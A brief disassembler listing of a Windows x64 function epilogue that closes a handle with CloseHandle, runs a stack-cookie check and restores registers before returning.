test rcx, rcx
je 0x1400030c5
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400043b0
add rsp, 0x40
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret